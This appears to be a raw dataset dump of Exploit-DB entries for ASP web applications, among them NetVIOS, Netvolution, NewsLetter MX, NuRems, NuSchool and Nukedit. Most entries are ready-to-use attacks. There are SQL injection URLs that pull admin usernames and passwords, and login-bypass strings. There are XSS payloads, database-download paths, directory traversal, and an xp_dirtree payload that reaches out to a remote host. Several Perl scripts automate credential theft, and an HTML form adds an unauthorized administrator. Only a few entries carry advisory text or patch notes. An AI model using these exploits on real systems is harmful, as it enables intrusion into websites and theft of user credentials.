deardaniel/secdata-raw huggingface dataset:
Exploit-DB #3520
Description: NetVIOS Portal - 'page.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2007-03-19
Author: parad0x

Exploit:
*******************************************************************************
# Title   :  NetVios Portal (page.asp) Remote SQL Injection Vulnerability
# Author  :  parad0x
# Contact :  :(
# D.Page  :  http://www.scriptaty.net/netvios-portal.html
# $$      :  Free
#S.Page : http://www.netvios.com
*******************************************************************************
http://[target]/[path]/News/page.asp?NewsID=[SQL]

Example:

//News/page.asp?NewsID=-1 union select 0,1,2,loginname,password,5,6,7 from users where userId=1

"""""""""""""""""""""
greetz : VoLqaN, x-MastER

"""""""""""""""""""""

# milw0rm.com [2007-03-19]
Exploit-DB #7761
Description: Netvolution CMS 1.0 - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: asp
Date: 2009-01-14
Author: Ellinas

Exploit:
###############################################
Found By : Ellinas aka Greek                                                  
Email: ellinas.security@gmail.com                            
Vulnerable Product: CMS netvolution v1.0                   
website  : www.netvolution.net , www.atcom.gr           
##############################################

SQL Injection

Version Finding:

http://site/default.asp?pid=8&la=1&bpe_ac=2&bpe_nid=100%20AND%20SUBSTRING(@@version,1,130)=5


Password Finding:

http://site/default.asp?pid=8&la=1&bpe_ac=2&bpe_nid=101%20AND%20
(select%20(substring(userPassword,1,10000))%20FROM%20cms_Users%20where%20userID=4)%20%3E%20608


Username Finding:

http://site/default.asp?pid=8&la=1&bpe_ac=2&bpe_nid=101%20
AND%20(select%20(substring(userName,1,10000))%20FROM%20cms_Users%20where%20userID=4)%20%3E%20608

Cross Site Scripting

Set the variable email to >"><ScRiPt%20%0a%0d>alert(XSS)%3B</ScRiPt>


************************
Many Greetings to:
                            
All Greek Hackers.
*************************

# milw0rm.com [2009-01-14]
Exploit-DB #3066
Description: NewsCMSLite - 'newsCMS.mdb' Remote Password Disclosure
Type: webapps
Platform: asp
Date: 2007-01-01
Author: KaBuS

Exploit:
newsCMSlite (newsCMS.mdb) Remote Password Disclosure Vulnerablity

Author:  KabusTR.coM <KaBuS [at] KabusTr.coM>
Homepage: http://kabustr.com


#KabusTr.coM | KaBuS | Hkinq | SinsiTr | Bey@z_KurT | DeMoN |
#From Turkiye - Www.KabusTr.coM
#Risk: Low
#Download Adress: http://www.katywhitton.com/downloads/newsCMSlite/
#Type:Remote Database Download
#http://TARGET/path/newsCMS.mdb
#Demo: http://www.katywhitton.com/downloads/newsCMSlite/newsadmin.asp

# milw0rm.com [2007-01-01]
Exploit-DB #2998
Description: NewsLetter MX 1.0.2 - 'ID' SQL Injection
Type: webapps
Platform: asp
Date: 2006-12-24
Author: ajann

Exploit:
#!/usr/bin/perl
#[Script Name:  Newsletter MX <= 1.0.2 (ID) Remote SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
#[S.Page     : http://www.mxmania.net
#[$$         : 29.99 .
#[..         : ajann,Turkey

use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//  Newsletter MX <= 1.0.2 (ID) Remote SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/admin/admin_mail_adressee.asp?ID=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }

print "User <ID>    : ";
$ID = <STDIN>;
chop ($ID);

if ($ID =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

$len=length($ID);

if ($len == 1){}
else {
print "-- Exploit Failed[No User Id] \n";
exit();
 }

$target = "-1%20union%20select%200,0,fld_ID,fld_password,0,0,0,0,0,0,0%20from%20tbl_members%20where%20id%20like%20".$ID;
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /headline\" style=\"font-weight: bold\">(.*?)<\/td>/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /Fields\" style=\"font-weight: bold\">(.*?)<\/td>/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2006-12-24]
Exploit-DB #24039
Description: NewsTraXor Website Management Script 2.9 Beta - Database Disclosure
Type: webapps
Platform: asp
Date: 2004-04-22
Author: CyberTal0n

Exploit:
source: https://www.securityfocus.com/bid/10194/info

Reportedly NewsTraXor is affected by a remote database disclosure vulnerability. This issue is due to a design error that allows the database file to be globally readable.

This issue may allow a remote attacker to gain unauthorized administrative access to the affected web application.

www.example.com/news/Dbase/nTrax.mdb
Exploit-DB #30451
Description: Next Gen Portfolio Manager - 'default.asp' Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2007-08-03
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/25195/info

Next Gen Portfolio Manager is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/default.asp?ExecuteTheLogin=1&Users_Email=anything%27+OR+%27x%27%3D%27x&Users_[CREDENTIAL_REDACTED]+OR+%27x%27%3D%27x
Exploit-DB #25781
Description: NEXTWEB (i)Site - 'login.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2005-06-01
Author: Jim Pangalos

Exploit:
source: https://www.securityfocus.com/bid/13834/info

NEXTWEB (i)Site is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

Supplying the following is sufficient to gain access to the admin control panel:
username: admin
password: ' or 'a'='a
Exploit-DB #23635
Description: Niti Telecom Caravan Business Server 2.00-03D - Directory Traversal
Type: webapps
Platform: asp
Date: 2004-02-02
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/9555/info

The showcode.asp script activated in Sample_showcode.html may be vulnerable to a directory traversal issue. A remote attacker may view any files readable by the web server using '../' escape sequences in URI requests. 

http://www.example.org/sample_script_directory/Sample_showcode.html?fname=/../../../../target
Exploit-DB #39897
Description: Notilus Travel Solution Software 2012 R3 - SQL Injection
Type: webapps
Platform: asp
Date: 2016-06-06
Author: Alex Haynes

Exploit:
Exploit Title: Notilus SQL injection
Product: Notilus travel solution software
Vulnerable Versions: 2012 R3
Tested Version: 2012 R3
Advisory Publication: 03/06/2016
Vulnerability Type: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') [CWE-89]
CVE Reference: NONE
Credit: Alex Haynes

Advisory Details:


(1) Vendor & Product Description
--------------------------------

Vendor: DIMO Software


Product & Version:
Notilus travel solution software v2012 R3


Vendor URL & Download:
http://www.notilus.com/


Product Description:
"DIMO Software is the European leader on the Travel and Expense Management market. We publish the Notilus solution, a simple efficient software to manage the entire business travel process: travel orders, online and offline booking, expense reports, supplier invoices, car fleet, mobile telephones, etc."


(2) Vulnerability Details:
--------------------------
The Notilus software is vulnerable to SQL injection attacks, specifically in the password modification fields.

Proof of concept:

POST TO /company/profilv4/Password.aspx

Vulnerable parameter: H_OLD

Payload:
ACTION=1&H_OLD=mypass'%3bdeclare%20@q%20varchar(99)%3bset%20@q%3d'\\testdomain.mydo'%2b'main.com\vps'%3b%20exec%20master.dbo.xp_dirtree%20@q%3b--%20&H_NEW1=%27+or+%27%27%3D%27&H_NEW2=%27+or+%27%27%3D%27




(3) Advisory Timeline:
----------------------
15/02/16 - First Contact: vendor requests details of vulnerability
03/03/16 - Follow up to vendor to inquire about availability of a fix.
03/03/16 - vendor responds that fix will be available 16/03/16.
16/03/16 - Vendor releases patch.




(4)Solution:
------------
Patch to latest available 2012 R3 branch or upgrade to version 2016.


(5) Credits:
------------
Discovered by Alex Haynes
Exploit-DB #26429
Description: Novell ZENworks Patch Management 6.0.52 - '/computers/default.asp?Direction' SQL Injection
Type: webapps
Platform: asp
Date: 2005-10-27
Author: Dennis Rand

Exploit:
source: https://www.securityfocus.com/bid/15220/info

ZENworks Patch Management is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

It should be noted these vulnerabilities can only be exploited if a non-privileged account has been created. Only an administrator can create such an account.

http://www.example.com/computers/default.asp?sort=&Direction=';
Exploit-DB #26430
Description: Novell ZENworks Patch Management 6.0.52 - '/reports/default.asp' Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2005-10-27
Author: Dennis Rand

Exploit:
source: https://www.securityfocus.com/bid/15220/info
 
ZENworks Patch Management is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
 
It should be noted these vulnerabilities can only be exploited if a non-privileged account has been created. Only an administrator can create such an account.

http://www.example.com/reports/default.asp?sort=[ReportImpact_Name]&Dir=asc&SearchText=';StatusFilter=ERRR&computerFilter=187&impactFilter=29&saveFilter=save&Page=rep
http://www.example.com/reports/default.asp?sort=[ReportImpact_Name]&Dir=asc&SearchText=CIRT.DK&StatusFilter=';&computerFilter=187&impactFilter=29&saveFilter=save&Page=rep
http://www.example.com/reports/default.asp?sort=[ReportImpact_Name]&Dir=asc&SearchText=CIRT.DK&StatusFilter=ERRR&computerFilter=';&impactFilter=29&saveFilter=save&Page=rep
Exploit-DB #30621
Description: Novus 1.0 - 'Buscar.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2007-09-27
Author: Zutr4

Exploit:
source: https://www.securityfocus.com/bid/25828/info

Novus is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/buscar.asp?p=[XSS]
Exploit-DB #4458
Description: Novus 1.0 - 'notas.asp?nota_id' SQL Injection
Type: webapps
Platform: asp
Date: 2007-09-26
Author: ka0x

Exploit:
Novus - Sistema de administracion y contenido.
bug: Sql Inyection.
official site: http://novus.com.mx
d0rk: "Powered by Novus"
free: no
system: asp

bug found by ka0x
D.O.M TEAM
we: ka0x, an0de, xarnuz, s0cratex
ka0x01[at]gmail.com

tables:

1- a_nota.nota_id
2- a_nota.fe_publicacion
3- a_nota.seccion_id
4- a_nota.sub_sec_id
5- a_nota.estatus_id
6- a_nota.fe_alta
7- a_nota.usuario_id
8- a_nota.ultima_hora
9- a_nota.tema_id
10- a_nota.autor
11- a_nota.autor_id
12- a_nota.titulo
13- a_nota.resumen
14- a_nota.texto
15- a_nota.temporal

informacion server:

http://[novus]/notas.asp?nota_id=1+and+1=convert(int,db_name())
http://[novus]/notas.asp?nota_id=1+and+1=convert(int,system_user)
http://[novus]/notas.asp?nota_id=1+and+1=convert(int,@@servername)--
http://[novus]/notas.asp?nota_id=1+and+1=convert(int,@@version)--

update table tutulo:

http://[novus]/notas.asp?nota_id=0update+a_nota+set+titulo+=+'Novus Bug Sql Inyection'--

#from spain
-- 
// ka0x

# milw0rm.com [2007-09-26]
Exploit-DB #1850
Description: Nukedit 4.9.6 - Unauthorized Admin Add
Type: webapps
Platform: asp
Date: 2006-05-29
Author: FarhadKey

Exploit:
################ KAPDA - Security Science Researchers Institute #################
#Advisory : http://www.kapda.ir/advisory-337.html
#Vendor : http://www.nukedit.com/
#What is : Nukedit is a Free Content Management
#Vulnerability : Unauthorized Admin Add Exploit if "register.asp" be enable!
#Discovered : 3nitro - farhadkey {AT} kapda [d0t] ir
#Vulnerabale versions : <= 4.9.6
#Grtz to : Irannetjob.com, Maskofgod.net, Hamid.ir, ihsteam.com, simorhg-ev.com, hat-squad.com
#Solution : update to new version of nukedit .
#Change "http://victim.com/nukedit/utilities/register.asp"
################ KAPDA - Security Science Researchers Institute #################

<html><head><title>Kapda HTML PoC For Nukedit <= 4.9.6</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252"></head>
<body>
<font face="Verdana" Size="1"><br>
Kapda HTML PoC For Nukedit <= 4.9.6 (With Security Patch) Unauthorized Admin Add Exploit<br>
Discovered and coded by 3nitro - farhadkey {AT} kapda [dot] ir <br>
Change the form's action in source : "http://victim.com/nukedit/utilities/register.asp"<br>
Fill the blank and submit . After that login with your email ! + your password .<p>
<form name="frmUser" method="post" action="http://victim.com/nukedit/utilities/register.asp">
<input type="hidden" name="action" value="addDB"></p>
<br><br><br>Username :<input type="text" name="username"  size="50" style="float: left; font-family: Verdana; font-size: 7pt">
<input type="hidden" name="company"  size="30" value="MSN">
<input type="hidden" name="Url"  size="30" value="http://www.lol.ir">
<input type="hidden" name="address"  size="30" value="System32">
<input type="hidden" name="county"  size="30" value="00">
<input type="hidden" name="zip"  size="10" value="12345">
<input type="hidden" name="country" value="XPL">
<input type="hidden" name="phone"  size="15" value="12345678">
<input type="hidden" name="fax"  size="15" value="87654321">
<br><br><br>Your E-mail : <input type="text" name="email"  size="30" style="float: left; font-family: Verdana; font-size: 7pt">
<br><br><br>Your Password : <input type="password" name="password"  size="20" style="float: left; font-family: Verdana; font-size: 7pt">
<input type= "hidden" name="groupid" value="1">
<input type="hidden" name="IP" value="10.9.8.7"> 
<br><br><br><input type="submit" value="Create Account" id="submit1" name="submit1"><br>
<!-- Nukedit Exploit Discovered and coded by 3nitro (farhadkey {AT} kapda [D0T] ir) -->
</font>
</form>
</body>
</html>

# milw0rm.com [2006-05-29]
Exploit-DB #7491
Description: Nukedit 4.9.8 - Remote Database Disclosure
Type: webapps
Platform: asp
Date: 2008-12-16
Author: Cyber.Zer0

Exploit:
###########################################################
#Title:       Nukedit 4.9.8 Remote Database Disclosure Vulnerability
#Credit:      Cyber.Zer0          
#             Cyber.Zer0[4t]Hotmail[dot]com                                                                                           
#Download:    http://www.nukedit.com/content/Download.asp      
#Remote:      Yes                                         
#Dork:        "Powered by Nukedit"                                            
############################################
--=[Database Disclosure]=--
http://target.com/database/dbsite.mdb


Live Demo

http://www.nukedit.com/database/dbsite.mdb

# milw0rm.com [2008-12-16]
Exploit-DB #30402
Description: Nukedit 4.9.x - 'login.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2007-07-26
Author: d3hydr8

Exploit:
source: https://www.securityfocus.com/bid/25081/info

Nukedit is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/utilities/login.asp?email=%22%3C/textarea%3E%3Cscript%3Ealert(%27XSS%27)%3C/script%3E
Exploit-DB #2755
Description: NuRems 1.0 - 'propertysdetails.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-11
Author: ajann

Exploit:
#!/usr/bin/perl
#[Script Name: NuRems 1.0 (propertysdetails.asp) Remote SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(

use IO::Socket;
if(@ARGV < 3){
print "
[========================================================================
[//  NuRems 1.0 (propertysdetails.asp) Remote SQL Injection Exploit
[//           Usage: class.pl [target] [path] [userid]
[//                   Example: exploit.pl victim.com / 1
[//                   Example: exploit.pl victim.com /path/ 1
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$dir = $ARGV[1];
$file = "propertysdetails.asp?PropID=";
$target = "16%20union%20select%200,Username,password,Email,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20agents%20where%20AgentID%20like%20".$ARGV[2];
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /Location:(.*?)<\/font>/){ 
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /Address:(.*?)<\/font>/){ 
print "+ Password: $1\n";
}

if ($answer =~ /# Rooms:(.*?)<\/font>/){ 
print "+ Email: $1\n";
exit();
}

if ($answer =~ /Ad removed or not yet approved/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }
   
    
print "+ Exploit failed :(\n";
print "+**********************************************************************+\n";

# milw0rm.com [2006-11-11]
Exploit-DB #2757
Description: NuSchool 1.0 - 'CampusNewsDetails.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-11
Author: ajann

Exploit:
#!/usr/bin/perl
#[Script Name: NuSchool 1.0 (CampusNewsDetails.asp) Remote SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(

use IO::Socket;
if(@ARGV < 3){
print "
[========================================================================
[//  NuSchool 1.0 (CampusNewsDetails.asp) Remote SQL Injection Exploit
[//           Usage: exploit.pl [target] [path] [userid]
[//                   Example: exploit.pl victim.com / 1
[//                   Example: exploit.pl victim.com /path/ 1
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$dir = $ARGV[1];
$file = "CampusNewsDetails.asp?NewsID=";
$target = "-1%20union%20select%2000,UserName,Password,0%20from%20students%20where%20StudentID%20like%20".$ARGV[2];
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /<td width=\"21%\"><font size=\"2\" face=\"Arial, Helvetica, sans-serif\">(.*?)<\/font>/){ 
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /<td colspan=\"2\"><font size=\"2\" face=\"Arial, Helvetica, sans-serif\">(.*?)<\/font>/){ 
print "+ Password: $1\n";
exit();
}

if ($answer =~ /Ad removed or not yet approved/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }
   
    
print "+ Exploit failed :(\n";
print "+**********************************************************************+\n";

# milw0rm.com [2006-11-11]
Exploit-DB #2756
Description: NuStore 1.0 - 'Products.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-11
Author: ajann

Exploit:
*******************************************************************************
# Title  :  NuStore 1.0 (Products.asp) Remote SQL Injection Vulnerability
# Author :   ajann

*******************************************************************************

###http://[target]/[path]/Products.asp?CategoryID=-1&SubCatagoryID=[  SQL ]

Example:

//Products.asp?CategoryID=-1&SubCatagoryID=-1%20union%20select%200,0,pass,0%20from%20customers%20where%20no=0
//Products.asp?CategoryID=-1&SubCatagoryID=-1%20union%20select%200,0,pass,0%20from%20customeremail%20where%20no=0

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-11-11]